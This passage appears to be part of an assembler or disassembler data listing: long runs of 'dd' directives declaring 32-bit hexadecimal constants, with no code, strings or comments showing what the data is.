0BBE772F2h dd 0F60E6B19h, 490DA48Bh, 43C79061h, 9DB1ACB2h, 57912AC4h dd 8E6B933Dh, 8A267E44h, 7E6B2875h, 83293546h, 445FCDCAh dd 7DA18FB8h, 8329544Eh, 2A25E2AFh, 0C5437C59h, 63FEBD3Ch dd 279ED11h, 0F03B0538h, 84D5B550h, 2FC44D17h, 0F7957D03h dd 0C1AF9FD0h, 419D8D03h, 0CE45A52Ah, 92145657h, 6A39A1DFh dd 0E1C9F2B1h, 1D88F420h, 1ED5F6DDh, 865901EBh, 0CBDA30D3h dd 0DB7A097Eh, 501892F1h, 0DD3D62A6h, 0BCC95540h, 0D9E525AEh dd 0F86E9B9Dh, 16BDD0C8h, 2F57CC88h, 443995C7h, 6A4C97F9h dd 0BEB3209Dh, 3FB2CDC8h, 0AB4BE801h, 29E96538h, 0E4DE8211h dd 80D0BB50h, 14B90CE2h, 6355812h, 2DD6B87Fh, 96DDA0B3h dd 168FDF98h, 7628EDC7h, 34B4EF5Bh, 35D2DE9h, 460A6EC8h dd 423E2FEDh, 2620904Ch, 192584Dh, 46B83A15h, 8420D501h dd 1BE924EEh, 2F5CA759h, 2410163Ch, 35B8D921h, 0B5685E00h dd 65D11554h, 0F5FEEB25h, 996029BCh, 7CF78159h, 12F4F1Ch dd 4C63924Eh, 89A46005h, 3688D2B4h, 0DD202D4Eh, 0BD0A2ECAh dd 8934647Eh, 84AF9332h, 0A13BA95Bh, 207CC068h, 9F868ECBh dd 0E60189FBh, 67C07647h, 0EC89EEC1h, 8359C505h, 1358D188h dd 4B0FF857h, 97FE93D5h, 45ADBEF5h, 13B27AB5h, 0B134710h dd 0D967AF68h, 42C2CD1h, 0AAD942E6h, 563D09A9h, 0D498B27h dd 5007C219h, 30345DB1h, 0D567508Bh, 92BD705Bh, 24420286h dd 8259EF2h, 0A57527A8h, 4EAAF68Eh, 3AE4D10Ch, 5AE7B32Ah dd 0AFA264FBh, 0EFE403FCh, 0E22FB97Dh, 9B2F10E8h, 0AEDDFE4Ah dd 0F028C1F9h, 5098B102h, 9FFEDB0h, 1B9106EAh, 96C2BDF5h dd 0F58EFB7Eh, 5521E6DDh, 13BC090Ch, 748B7198h, 0C1DDA38Bh dd 0F14D73F6h, 3FCAB06Eh, 0BBC03E54h, 0D616205Ch, 19C538FFh dd 476B6500h, 56A686BDh, 0A42B522h, 0DC89D0DEh, 0EFCED47Fh dd 3BF0C96Bh, 4C315A25h, 13E89FABh, 5F8ADF06h, 406CFEC5h dd 0D0CB05B1h, 82E1C0E9h, 0FE555486h, 79FF523Ch, 30E14D22h dd 7413E2Ch, 0C730E47Eh, 0F26DD709h, 0A0677E2Ah, 0BE560508h dd 0EF381155h, 598068C0h, 0E908176Bh, 0E1BAB185h, 0CA616B5Ah dd 0F7B581B2h, 8C9AAA98h, 9531FB44h, 7EFE15D8h, 0EF62B896h dd 89BB05BDh, 0A6B0E8A0h, 159C7B7h, 2683AB5h, 0B6E54C51h dd 0F2E96A13h, 0F1128257h, 73618ABEh, 2FABE55Eh, 35AE4AC1h dd 0B34ACCEh, 0F9794868h, 93E4A48h, 0D95C3E3Dh, 0FEF2B6CFh dd 9984BD4Fh, 0FC7E0CAEh, 6D68B012h, 3E32AB6Ah, 3C16587Dh dd 0C261F96Fh, 7DFEF8D8h, 9820A5CEh, 6AB1EAA3h, 21C020B5h dd 0F4B4B16Ah, 64CC3BCCh, 12638014h, 0FFD38283h, 835A9B04h dd 0E0479D3h, 0AD0E99Dh, 19D335ACh, 2AAD3295h, 0EE586DE3h dd 682F470Bh, 0A72002D0h, 0B529031h, 2B143F4Ah, 0DF510955h dd 86A7DDD3h, 20CE01CFh, 5C3EA2BBh, 2F9A0553h, 1FB7984h dd 0FA1E0293h, 1C77200Fh, 13B9B9C3h, 900DFB5Ch, 4C7C32E1h dd 0D2161687h, 68D53CA3h, 0DC782525h, 8F44CFE3h, 0E15F306h dd 69FF5A4Eh, 0F611575Bh, 7272B66h, 8102B4A4h, 28E1DFCDh dd 0C57307Dh, 0B706AD03h, 2E64DE9h, 0A05C323h, 0F3763C92h dd 66BF08A0h, 0E9560841h, 9434E530h, 9220F8AAh, 75EAFA02h dd 77B16AB1h, 30C44D88h, 66535262h, 4D09681Dh, 0C96DB231h dd 0F9D26C3Ch, 1F8512AFh, 1DEC7EDDh, 6DA097C3h, 2A7A4985h dd 0F140F9B0h, 647B09BFh, 8F8F7481h, 45915486h, 230DCB05h dd 218213AAh, 0D52DE27Ah, 0DA096368h, 24895B4Ch, 49025806h dd 7EFEA40Bh, 46DD2568h, 1CFB4094h, 0A9E0EC83h, 52F99651h dd 59EA4877h, 7346950Ch, 0BC5F304Eh, 0F4567E8Bh, 0F667014h dd 9580F4B8h, 4B9C2E51h, 0E615E98Ah, 9986FADh, 14F037E9h dd 599D307Bh, 0F717C9C9h, 8C0877A6h, 44FB20FFh, 0F1058186h dd 662FD1ACh, 7B25ABACh, 0DC55ACC2h, 0B3BE4387h, 5BA145Eh dd 0E25BDEF7h, 63407293h, 0A44F5DE9h, 8F58001h, 9F04E5C0h dd 42920606h, 835A4580h, 24F3BFC5h, 3FF88F44h, 139168E0h dd 6BAC9891h, 8BAA5B45h, 0C0421ADBh, 5F3A44B2h, 0BF43C408h dd 0B6B0F5B2h, 1ED9C066h, 3B554DDEh, 712F382h, 0E0F0655Eh dd 0BB05533Eh, 0F14224Eh, 9DA0C9C5h, 0D25E9D5Eh, 0B1ABC664h dd 9A1056Eh, 189E7D8Dh, 0C3564095h, 35B20934h, 416A898Ch dd 11BCE402h, 4705BBD2h, 311A3829h, 61FE23D5h, 3816E99Ah dd 2DAD3B92h, 90B0E328h, 905266C9h, 0E7C320CFh, 511ED0E0h dd 0CA8957B1h, 0C2EFA25Dh, 565309B2h, 0E130561Fh, 7549F781h dd 0F13C586Ch, 0E391B09h, 231F8682h, 0FC814D04h, 0F03F9866h dd 0DC272B63h, 20451CFEh, 0E5F66D4Ch, 7722F002h, 0E1EDC17Fh dd 13D77070h, 1D2F71Ch, 0D75109F0h, 8B092E6Ch, 5748F42h dd 0F985D329h, 2D6D388h, 0E126685Ah, 62DDE607h, 91D0D51Ch dd 0ED214897h, 952512EFh, 0A550BE35h, 69E91308h, 0D028A281h dd 3164E03Fh, 4B58DC92h, 6A2F0745h, 0E8C33956h, 0DAFAE5F5h dd 0CE220BE5h, 0D5DF1AFEh, 0E1206ADAh, 3F55582Dh, 0E8699702h dd 2445B1Fh, 89139C62h, 1C6C7DDDh, 74ABD15Eh, 0BCFCBFAEh dd 60510CD9h, 0AD80485Dh, 6D812468h, 0FA7DC9ABh, 0B9B33717h dd 6E4CA226h, 0E78701D9h, 80BB3878h, 0AD5532DDh, 8900BD3Dh dd 0CE203635h, 26054E05h, 0E509742Bh, 5705A0Ah, 46D0D2C5h dd 555B8079h, 5640F103h, 112614EEh, 700AF72Bh, 2E6BF09h dd 9E75B0C5h, 0F5126774h, 0D7F26809h, 0BE2D7384h, 0F0472FB1h dd 0F640ADECh, 0C4A5F11h, 155C02E7h, 38D70E13h, 7FC26709h dd 0CEFD1098h, 0FECF8980h, 0E5C6BA5h, 0B2E23F01h, 3CA2E9F1h dd 33F24BDCh, 531A04Bh, 30FF403h, 0BB352D0Ah, 0F1AAE51Ah dd 4E5AE0FCh, 8507437Ch, 8984D681h, 0D9F758E1h, 7B219A40h dd 0C0DE42Ah, 6AA96485h, 0E939053Ah, 286464DEh, 688A8882h dd 0BEEA4B32h, 9DE8250h, 57601E19h, 7A3B5F7Bh, 67F60272h dd 40AB9EAAh, 515D8661h, 92D8ACD2h, 62D8243Bh, 26084867h dd 70460298h, 0A1406C53h, 3AE82DC0h, 0D984C195h, 5960043Fh dd 0BC5CAA4Dh, 0B76241C3h, 0B580C13h, 0F62CEAB5h, 74B7709Ah dd 0BA5258DDh, 4EAE9884h, 0D350FDA4h, 40D7DCB0h, 6D0B2D1Dh dd 2637F57h, 0FD49374Ch, 3FC2A993h, 7640416Ah, 392C6068h dd 77A5DF05h, 1BEDB780h, 7348EB6Dh, 805630E9h, 0C33B7B4Eh dd 83E9D66Ah, 9AB900ECh, 5B4F123Eh, 0D9ADF049h, 0DEAC193Fh dd 126066A8h, 6BFE3FEDh dd 0A50980B8h, 70DE5BBFh, 55D2FE3h, 64FF8D77h, 0FC15FB3Ah dd 6268090Fh, 759A3234h, 0E90511FCh, 8CADB3D6h, 4059B410h dd 7125CEDh, 41EA4012h, 0BD388EC2h, 0DAA7404Bh, 0B09AF3Fh dd 0E8F9C4E9h, 812552C4h, 0FD33755Bh, 0E8B55478h, 0EF180575h dd 5BF3FD4h, 0E8574A02h, 411F9EF4h, 0BE343D0Fh, 62FF98D3h dd 89752F17h, 0C914D63Fh, 35487200h, 0E92D23B3h, 741E42D2h dd 25D95ACFh, 6675916Bh, 0C5B92F09h, 786722D2h, 0DC9D3C78h dd 0A32EC4BCh, 239D1750h, 48EDB629h, 5F88036Bh, 7DE84705h dd 0F028295Dh, 0D980072Dh, 9D192441h, 0DEF04262h, 4AA0EF04h dd 20674168h, 1A974528h, 5E25DF57h, 2F46F351h, 0AD22F459h dd 0F74BFA56h, 0AF2620C8h, 5954CCC2h, 57EC6056h, 22D6276Dh dd 18D0B203h, 0C027DC3h, 1DE72B87h, 0E1A28FC1h, 0B3E8B5F3h dd 84A7A692h, 5BBDB693h, 0EF812730h, 76E2F6F5h, 5C73F75h dd 1A48EC96h, 80D1C87h, 0FC14041Ch, 0F469B3ABh, 0A0805F09h dd 21C91CCDh, 0CF2F50F8h, 36047FEh, 7AF70375h, 6A233FF7h dd 68045CABh, 9EF63622h, 0A0BF3FC5h, 8F49E964h, 0DB654B5Eh dd 0E6C5FA05h, 0AEF476A5h, 17AE98BBh, 13215AD7h, 28BB0D6Bh dd 0FFC52A22h, 0FE142CBFh, 3329D74Bh, 293AB1EDh, 0FBE37A10h dd 0A0E9F90Ch, 0BC03045Fh, 0C058C388h, 0B5682CE3h, 0FA9509EEh dd 1FB49457h, 0CB555EF1h, 0A440554h, 0D6048B2Fh, 7B52D176h dd 9AADC3E0h, 27245048h, 6C9C96CEh, 492FE941h, 0AFA4C910h dd 0D4B6A68h, 6B0CB10Fh, 0EAA2C7BDh, 0C155F877h, 79482F26h dd 95F82B60h, 25680840h, 70183875h, 5480538Bh, 7E56BF5Dh dd 26DE8CEBh, 689BC5CCh, 3F29B1F0h, 0E9C2C1E7h, 0D4443FF0h dd 67E9AF97h, 0DBBCEE0Bh, 0BAF94044h, 8760AF7Eh, 7767C2CAh dd 91424B3Dh, 2150A1Dh, 0F7505F5Eh, 446D4A95h, 0E8382727h dd 4E2D274Ch, 85A27169h, 0AB30BAE9h, 7D201BC9h, 1A930AC9h dd 1EF63363h, 7E9C812Ah, 93CBDCE9h, 0F2AB5E96h, 0ABF4CBA3h dd 52285447h, 42FD5475h, 0A7F9AD1Bh, 0D17ACBCh, 97C64CADh dd 7D69E959h, 525845E4h, 0AE01025h, 0BAE2EC77h, 0E7B907F0h dd 0A516F05Fh, 2A09B104h, 0AD7F815Eh, 0C9E76858h, 0BD6F12E6h dd 0E6F3BB11h, 469CBB81h, 0EB1C81D1h, 28114798h, 0EDE9BB64h dd 62EBFEEEh, 530BAEECh, 0F30AC9C4h, 5AF0AD69h, 0D310BB5Eh dd 0FB4B742Bh, 2506A840h, 0F84B05ADh, 2F4A9CABh, 273EF47Ch dd 0B13055A2h, 6D096851h, 0FB05AA41h, 0D0A1E90Dh, 0D821744Dh dd 0ED6BF2E9h, 6FDEF650h, 88177065h, 1840D9BCh, 1F6209BAh dd 0A25F2B7Ah, 51F0D88Dh, 2FF83D12h, 72DCDB68h, 0EA0755C0h dd 5FD6C166h, 3877A441h, 0FB4CA2h, 848D5099h, 496BE5E9h dd 0E9B0EBFFh, 0DCB34719h, 57C2C089h, 0DADD3418h, 82F545C0h dd 306F785Fh, 0C810454Dh, 4C5CCB6Ah, 60C0306h, 0B401420Ah dd 81F54C4h, 1980F153h, 1517B7B9h, 0CF01FA31h, 0F7CE463Ch dd 80552D56h, 668939E7h, 3EAD29E9h, 0F2502751h, 5571F897h dd 917AFEE1h, 3E663D0Ah, 0FA931CE3h, 0C96E0B61h, 4427D13Eh dd 40560269h, 0B5C51AE1h, 315F0FA9h, 4C6CDDADh, 0D1F7660Eh dd 5AC26862h, 0F8C7D27Fh, 438F32B9h, 0A790CB12h, 288103B5h dd 0DEF0833Eh, 8421C399h, 72E9640Ch, 0E15BA4ACh, 0FA60A076h dd 7C1C14Bh, 6F78100Dh, 0FF09AE5Ah, 200F5829h, 86A0D5EEh dd 72C3315h, 71081E2Ch, 0A7772DB0h, 0C4328592h, 0FBEB40B9h dd 8BDE9C90h, 22DE2FB8h, 9A2B9450h, 0ED15B61h, 0CE895972h dd 70653500h, 59829AEAh, 0F52140B7h, 8095F7E9h, 75A7BF77h dd 0C10617FCh, 986A09E7h, 80ACC4A5h, 0EDC06383h, 0E580030Fh dd 6ADEE4AEh, 8712E9EDh, 0E039EA48h, 0EAF928A2h, 701BC03Eh dd 551491F5h, 52455300h, 642E3233h, 41C0E36Ch, 23567344h dd 4E8F4950h, 354CCE54h, 0E001430Ah, 0C0094FE9h, 0A1BE680Ah dd 89F40612h, 0FDFDDF2Eh, 15A2500Ch, 8C22847Fh, 117542A3h dd 6B21A4ABh, 90A50808h, 0A61C8461h, 96445748h, 0E02E4D22h dd 1AA11D60h, 7F3B0172h, 0A41851F8h, 7935E015h, 0F4E0207h dd 23C0AD9Bh, 0F0864281h, 7435C05Eh, 4DF68539h, 0D7A980h dd 0DEDD6ED4h, 0A329866Bh, 3CBD150Eh, 0C102A09Dh, 7551D5h dd 2033B05Bh, 57D367FCh, 0EB68500h, 192142CEh, 584A030Ch dd 0CFAC887Ch, 303F2C80h, 0D1273603h, 0A0BA8FD3h, 0DD044Ch dd 2AE158B2h, 6E85D8F5h, 98936D00h, 47E910C7h, 0F03005Fh dd 792D13A2h, 0CE00523Eh, 0E331D8F2h, 0E7DF8DDh, 0CBB5C7A3h dd 0CD4CF640h, 0A8007E38h, 7B24AFCCh, 39246h, 0B2C2275Ch dd 9CA011A6h, 0C11F8812h, 740730FCh, 0B01B8FD2h, 0AA31ADE4h dd 0ECA030Fh, 33A70387h, 0DC180A4h, 71E3001Fh, 4DCC80BFh dd 0DF005B9Ch, 0C377B258h, 5568B34h, 1615E7E2h, 489E4EACh dd 4D7E140h, 74002061h, 5B77B055h, 30EB57Eh, 41D82DD9h dd 29B84DFFh, 1A075539h, 132F0D35h, 0F11B5270h, 0AB6700FAh dd 5EB09DAFh, 83000127h, 93F2D4FDh, 70645176h, 65DB1EE6h dd 2DF5804Bh, 0B3865A6Fh, 2BDE0F01h, 94213397h, 0B558ECh dd 0C0A48074h, 492D6209h, 60069500h, 0B15A7125h, 5BCF017Ch dd 554A0858h, 502FD541h, 0ED30E292h, 42EA7100h, 21C84F0Bh dd 0E5743CE8h, 0D2490500h, 7D6BDF1Eh, 31D30100h, 0EBF36F2h dd 8A1100CDh, 0A635A9E4h, 1407C8FDh, 0DE642719h, 0B9360018h dd 447932F3h, 92395003h, 904A835Dh, 75D4EFh, 100EEB0Bh dd 3EBB5A69h, 6AE47302h, 494C5333h, 3F8EB9C9h, 33D0288h dd 0D96DCC7Ch, 0E441FDD8h, 0F406D502h, 40EF6E35h, 2C0856h dd 0B2E38752h, 23F04BF7h, 3CE49400h, 5D151105h, 0A220300Bh dd 0AE64219h, 5F014B75h, 1793AFB3h, 0C3D4EAA0h, 7B840069h dd 26F9D849h, 0D7279267h, 25530696h, 412A0097h, 604B4627h dd 9CC7BAE2h, 9B02602h, 30AE5D89h, 0F0166814h, 7B005074h dd 8ABCB18Bh, 20D5B6h, 0D62744BDh, 89C29C3Fh, 239B3002h dd 48A0B4C8h, 0DC0D6D7Ah, 2BD44FD8h, 79300A00h, 2D8093C9h dd 96150331h, 68CCB8EDh, 0B9E88FDBh, 0E134F02h, 4B00FE62h dd 54083DE6h, 0FDE83EEFh, 503FB430h, 2490F0D4h, 1573690Ah dd 3B00919Eh, 0E38FCA80h, 966A007Fh, 0FF40F168h, 3A000F13h dd 0B892CD81h, 71B4E01h, 1132D270h, 1A36309Eh, 0ED000A66h dd 13CF269h, 0CD7615h, 59353398h, 2BFB4038h, 60F3BA2Dh dd 9004A6DBh, 0D68E1FBEh, 0F5AC479Fh, 807907BCh, 0F2962599h dd 11F7B31Fh, 0A6E58702h, 2526B32h, 219DD834h, 210FF19Ah dd 0DFCA7833h, 212A3C20h, 0C848E7ADh, 57817C90h, 0C09F20A7h dd 4C00F3C6h, 0F2076B17h, 0C07E9039h, 30C74126h, 440A5098h dd 0B17FC071h, 0DC80B31Ch, 336BB710h, 0B04AF2h, 0A9D758D1h dd 3F767E32h, 0A6BEA60h, 93D073h, 6A219AAFh, 0FEEF4135h dd 5B0F0400h, 7C2411A9h, 34CFC45h, 0AFC11AB9h, 0EDE3FCh dd 0AB1FFBFCh, 1300BF56h, 35C01993h, 390F33EEh, 4E00233Dh dd 943C25F4h, 37001410h, 0C47EB4Ch, 117139Eh, 92D37645h dd 0F85582DEh, 7B000729h, 1214E9ABh, 77FFA43h, 681B9E2Ch dd 26E150C9h, 0C1273F8Bh, 0BB56149h, 2B70F60h, 9C6BC3B6h dd 0F0600CD9h, 0B4078C2Bh, 4420D40Dh, 0C65B4E20h, 0E0B4C067h dd 951AC184h, 0FCC3D4Ch, 5C568594h, 0EA17D0C0h, 0F26E47h dd 0B922B1FEh, 0C42CE4A7h dd 817DF93Ah, 3CE37688h, 1BE85307h, 918100E6h, 0BFA010AFh dd 0D45DFEE7h, 80873B22h, 0FBB128A4h, 0F9108C4h, 0B027A3DCh dd 8B0ABE00h, 1E3E9AD9h, 0FAAE0028h, 0D578FFBBh, 0A1180194h dd 7FF6B2EDh, 34FA20C8h, 0E1614809h, 51F00D8h, 25C1CA8h dd 5D4C1EBDh, 0D5609C16h, 0B93F708Eh, 48BA4C09h, 0A65C0099h dd 8529B0CAh, 78E034Ah, 5D7C2863h, 30CCF1E7h, 7EB83077h dd 80ED3DF0h, 45882ABBh, 245A1289h, 7E9A723h, 8B0D8C40h dd 3776DA20h, 0BF88583h, 9E3D5978h, 0F65917h, 1E9D114Ch dd 0A07C3065h, 6146FC8Eh, 419EBAD9h, 27C217Bh, 4148E7C8h dd 59079038h, 5DD9C9ADh, 550E8DE1h, 10405A61h, 5D2FBDFh dd 9031B122h, 0F4AE80FEh, 3CC13457h, 0EE448883h, 0BAB6CB30h dd 0D24E092Fh, 0A101AF53h, 2CFD31F1h, 0B852D8h, 75875463h dd 8822A08Bh, 662C5DC2h, 111D7A08h, 20B18A5Eh, 1A2080AFh dd 213B0037h, 0A3B22A2Ch, 0CE00C201h, 48546552h, 7EB96Dh dd 3BD18562h, 0A231B815h, 26273900h, 0BDED0166h, 0CA9F033Fh dd 486EF3B6h, 14E5258h, 296207D2h, 1C208354h, 7CF0ABh dd 0D00BBF7Ah, 904B6AFBh, 9ACBBE03h, 903624C1h, 675C48h dd 0BA718B50h, 2C348A7Ah, 0BB41F83Ch, 2309004Bh, 193D0227h dd 0E23E0044h, 6F9A5108h, 610306BCh, 0E7DE2874h, 0CAEABB45h dd 93EAE052h, 0C71DC02Fh, 0FD34EC6Bh, 0AC53E007h, 0A70D277h dd 167AF65Dh, 0C06339AAh, 317416A3h, 46FE7D17h, 651CF002h dd 8637412Ch, 9062EF64h, 45C10020h, 82367517h, 109252F3h dd 0B12D6801h, 904C812Ah, 24E8EF70h, 414DA5Ah, 8857DDBAh dd 0D6028D71h, 0F5B4CCA1h, 62764884h, 0A9191010h, 0D14D1F23h dd 3605DB80h, 18A05491h, 1F6DD5C4h, 0D318AD89h, 8A116AD8h dd 1EC908Eh, 0F2986E14h, 811F9BB7h, 13CCCB0Bh, 48ED79DEh dd 4A198E20h, 0C365B10Dh, 0D0EA5587h, 9C5FCCCh, 0A2DB9209h dd 0DB730826h, 7D88C0Bh, 0A9C2270Eh, 853AE007h, 60FD92E4h dd 9ED325FAh, 909A3F2Ah, 9310F5C2h, 0DCE2C009h, 0B483007Eh dd 772DAC6Ch, 7935440h, 7419A001h, 4F70473Bh, 5A642815h dd 17ED988Ah, 0DE8554h, 984DD079h, 590151F1h, 0B9B59422h dd 48CC39Dh, 9A177AC8h, 2A9BE0Ch, 79AE1156h, 25C701B2h dd 21983AE6h, 27E4206Fh, 353947FCh, 0CC76184Bh, 5CAF612Fh dd 0C736EB70h, 643D17B6h, 0EA240367h, 49833Fh, 0E2076314h dd 0E502855Ah, 4D393500h, 92C168F3h, 8A2B3097h, 734FCB26h dd 0C6A37F00h, 7521560Dh, 507D0053h, 9996A9C1h, 0C00CB22h dd 96D1958h, 7DC067F4h, 0E82C3095h, 886CC842h, 9E45D400h dd 7501BD69h, 4A1101EFh, 0B7BB67A6h, 0C362E8A2h, 73E71C01h dd 0EB47789h, 8AE63F80h, 28DC17CBh, 0A42F4C00h, 0BBDAC6FBh dd 0D6CA0009h, 5CAE9F81h, 840103C2h, 558A4121h, 5020C5A1h dd 7E5817F7h, 9FF4760h, 25C4732Dh, 1435A4Ch, 0C8F3AC27h dd 178961E1h, 5340A985h, 0FA31B1E6h, 0B0AC1948h, 0CCE0FCh dd 0C4BFDC8h, 95CA8118h, 45EAE100h, 0D1701308h, 0B2913BEBh dd 845E1203h, 4283ABE0h, 0C6A24509h, 56DA00AAh, 2CB153E2h dd 43017E72h, 0BF91946Ah, 0E32F8003h, 0DF1AD087h, 92F7433h dd 994BEA89h, 4A2445A0h, 2DC7E35Fh, 41EE2703h, 0C2802B55h dd 91817B8h, 15D0DB9h, 0D57A1100h, 6C88EC98h, 50C71D8Fh dd 38ED4197h, 80AA18FFh, 6549152Dh, 5866C412h, 0D11DB19Ch dd 1400381Bh, 0B503A345h, 120BA14Dh, 20F9B273h, 0F1A5DAA6h dd 3BC007Fh, 0ED5EE9CEh, 0CDE49301h, 8004B058h, 6C1F411Bh dd 0B74601D6h, 3B69F92Ch, 255AC8EAh, 0B0566D00h, 0C1A58175h dd 2766000Ah, 41E2F77Bh, 0DC4883A2h, 374903F5h, 0C1CE74h dd 6EAD5F42h, 72EE9E82h, 25DE5500h, 28AF04F0h, 0F29900B3h dd 2687BB49h, 0ED3961BDh, 843E0013h, 6056A7CFh, 96E70304h dd 1FA3667Fh, 7BF71704h, 318007BCh, 764765Ah, 0E4EF2FD5h dd 4526D05Eh, 4AB8223Eh, 82803F8h, 5C58FC55h, 68500F1h dd 9DDA8D5Dh, 4A69E8E9h, 11702097h, 0AB1ED86Ah, 0E04B5894h dd 3A5B900Bh, 0CA5006Bh, 0F0962713h, 0CA00C1B5h, 0C336EA23h dd 907745DCh, 0BD641E7Fh, 578E8006h, 8F38BF7Bh, 0D4A65A00h dd 47246305h, 9AD7018Ch, 1857F9C0h, 0A044C443h, 16B56100h dd 0C413570h, 0F4D81777h, 11940A42h, 76524BEh, 605C04DAh dd 0FCD1F571h, 0CB34209h, 0F2E38FD7h, 9FBCAC03h, 0D3D59810h dd 9267248Bh, 0A423163Fh, 220040ADh, 0C6333534h, 0C80F9F2Ch dd 0B240B2Ch, 4F13E0A4h, 0B58F0B00h, 279A215Fh, 4A80B9F4h dd 8032723Ah, 52493D00h, 19B06499h, 1246F875h, 905D9E4Fh dd 90345398h, 26A55109h, 94DB4081h, 0B8FB85Bh, 0CF554178h dd 3F076F57h, 3E570CA7h, 682CC225h, 725E65C3h, 0F7F12064h dd 54C9E17Ch, 579695D1h, 0E6D4A5E0h, 8F4A269Ah, 0BFA83D14h dd 0F2D69809h, 0EE36D25Fh, 709A578Bh, 0E02F73FDh, 0D646E95Ch dd 0BD06B5B8h, 0A9A4B8B7h, 0C5033DB0h, 22E4E000h, 26434175h dd 44614600h, 0F1189B66h, 39D90C74h, 0C65306E8h, 84D2451Eh dd 0BE9DC8Ah, 979F3000h, 0F623B1h, 32BB665Eh, 4EC681FAh dd 0E9227163h, 0E2D0014h, 5A170912h, 4800C00Ch, 1F276A3Eh dd 3EB81437h, 0FE3FD82Fh, 0CC9DFC4Bh, 7F10B0Bh, 23F479A5h dd 4BE7008Bh, 583C7E6Ch, 87D02866h, 0E381060Fh, 4F68780h dd 0A9E0F760h, 0F2A0F60h, 0EFE0D9B7h, 1A6421F8h, 4BA0E8F6h dd 0FC001B7Ch, 338CB136h, 9953A5h, 0D1212DEEh, 0DFAF9E9Ah dd 0BE25F500h, 3436B7DCh, 8F0F275Fh, 0CA8BF9C8h, 0C2706160h dd 3174E2E3h, 21D0AE9h, 0C4D1E865h, 69738907h, 0AC5C52D3h dd 8B5A1250h, 0F3343DAh, 3500088Ah, 15C18156h, 777F6878h dd 0C0F82559h, 0F06C7DEh, 77292285h, 0F8805260h, 12B86605h dd 61884311h, 1B1D36E9h, 78C06427h, 51DD6253h, 1856EA8Ch dd 44760F6Ah, 0C98B0381h, 0E1C8D6BFh, 2A19333Bh, 78724F46h dd 43839900h, 54D275D5h, 0DEBA030Ch, 7BA00166h, 0F75A98D0h dd 38C31F05h, 0F11CA526h, 0B913C9C1h, 91FFA737h, 0ACF0A1ABh dd 4D923127h, 0E340A508h, 0CF0A4EF9h, 213ABCEBh, 0F6E0C13h dd 5251171h, 26315B14h, 0BC1C0122h, 873E9269h, 5A56DA11h dd 0EA4DFA2h, 679D03D7h, 1101BBC3h, 2576202Ch, 0AC002E21h dd 9C10648Dh, 0A48C2485h, 0BA814648h, 0DB602C11h, 385021A5h dd 5010F81Eh, 1DF3E88h, 5C553A85h, 0EDD5763Ch, 5AC8407Ch dd 0B100BB97h, 1A29BC28h, 31ABEF19h, 7E103981h, 0CC68C142h dd 2A002D12h, 0E25C9E41h, 3DD1D513h, 0AE00440Bh, 520821B4h dd 0FCF8A736h, 0CF28AF78h, 0C100ACBAh, 46943B6h, 1E727548h dd 266199h, 68424676h, 787C7F63h, 14AC9E28h, 2C11703Eh dd 0A100346Bh, 8B39AFECh, 0A350C7B0h, 78BEE629h, 0AAC9A63Ch dd 110AE0B1h, 0C397382Fh, 9BACE830h, 7B6A39ADh, 0A792E485h dd 2598012Bh, 802401ABh, 0B1B73EE0h, 15CAADFh, 7263F597h dd 40D1A32Bh, 4EA529D6h, 6877BF14h, 0DCA0F120h, 260A0218h dd 0D0ABC26Bh, 0F87C4C80h, 0C7A2570h, 6A2D5E41h, 21DDB308h dd 0A2F874C0h, 0D53457h, 0F77C0DE7h, 0B1E5F9DAh, 0C32180A8h dd 101C8940h, 245B0B2Eh, 7D044466h, 4540BB0Eh, 327FEB73h dd 2A1940FCh, 56089E3Ah, 6B7A2180h, 0A3905BEBh, 0A0130918h dd 59D8F48h, 0F670D254h dd 29F441B1h, 2019F59Ch, 9D247A80h, 3A806459h, 0A36FE577h dd 0A14A0C68h, 300860DBh, 7F9D21C1h, 9CF4CBE5h, 84E407A4h dd 148F1CB7h, 25409035h, 365459B3h, 5A7ADFA0h, 0F0F603F9h dd 9891E4EBh, 767C2817h, 0B3A544A4h, 3D493B00h, 8CA4DA9Dh dd 0F3AD00D8h, 1758A774h, 7F500D7Ah, 0C0D425C0h, 0BFDF1014h dd 18039C50h, 105D2321h, 0DC91A00Fh, 36030935h, 18A4B3A7h dd 81706F11h, 3041847Ah, 718FFBF0h, 5D63008Eh, 0DB81C83Ch dd 3A037050h, 310D7304h, 0AD74B84Ah, 0A03E1960h, 0E00E4077h dd 0D70C7CEDh, 0B07BD0A4h, 72CA0933h, 280A307Eh, 69D58108h dd 0F05DD627h, 0A8A92392h, 0DC0EE543h, 7A0150A4h, 1A22DE8Fh dd 34205912h, 751D073Ah, 842A4748h, 7F088225h, 41EBF833h dd 22564632h, 6D640054h, 8F760EEBh, 0F112AFF6h, 3400B6B7h dd 5B812242h, 5A2D0FB5h, 4564A041h, 88088E6Ch, 0B3B0C331h dd 53157898h, 0BC574505h, 0EC45B4DDh, 0B0403585h, 4D46E011h dd 97833BC4h, 539B16h, 54FC223Fh, 8C1F3B37h, 0ABC03925h dd 3A29BA86h, 0BE9407F8h, 0A77C246Ch, 10A27006h, 81C0209Dh dd 0CBD07885h, 0EB813BD7h, 87800681h, 3040363Dh, 464CF32Ch dd 3103045Ch, 1080515Bh, 19A394E2h, 10BB7F21h, 0E1B83167h dd 0E80A0424h, 0DC00ECFCh, 0B32305C9h, 0A00A4D6Dh, 0AD89723Eh dd 4CA2BB39h, 5BC23C73h, 3AF5B820h, 0E50764A6h, 20F0CBA9h dd 976CAAE0h, 77B90061h, 0EAD37AD5h, 28E44EA4h, 7C0FCE26h dd 40F87B94h, 48C7CF0h, 327EEB72h, 2057629Eh, 53EB6A65h dd 23169003h, 1E2CC5DBh, 0C0BF1DA8h, 0A77AC17Dh, 31CEABB4h dd 9C559Dh, 59719499h, 39FA6830h, 6700AD14h, 7675CA90h dd 72007B05h, 405E2587h, 7BEE0FDh, 6BA48C73h, 80E8BA84h dd 72196247h, 889078AFh, 308CA849h, 6A682103h, 0A6623F19h dd 4A549F03h, 878C0465h, 422544h, 8C93A1CCh, 9067A0BBh dd 27F4C360h, 0BD427B00h, 94F60CD9h, 0F4AB4024h, 80406C14h dd 0AF77196Fh, 10E18C30h, 191769h, 0A214012Ch, 973DB1EFh dd 489833E4h, 10020FF8h, 0D1EC942h, 398C6870h, 1A912AFh dd 0A84408CFh, 0FF8DBC80h, 19414B5h, 4593038Eh, 50BE0F3Bh dd 925DA3ACh, 36B58100h, 17258EB6h, 0E5F4121Ch, 0B7280B64h dd 8FD19C21h, 0C09A02B1h, 805B73E8h, 0AE60A1BCh, 9DDCA3F9h dd 8DE4A007h, 3A843072h, 0DA1358D1h, 3493700h, 91AD9F1Ah dd 3E220027h, 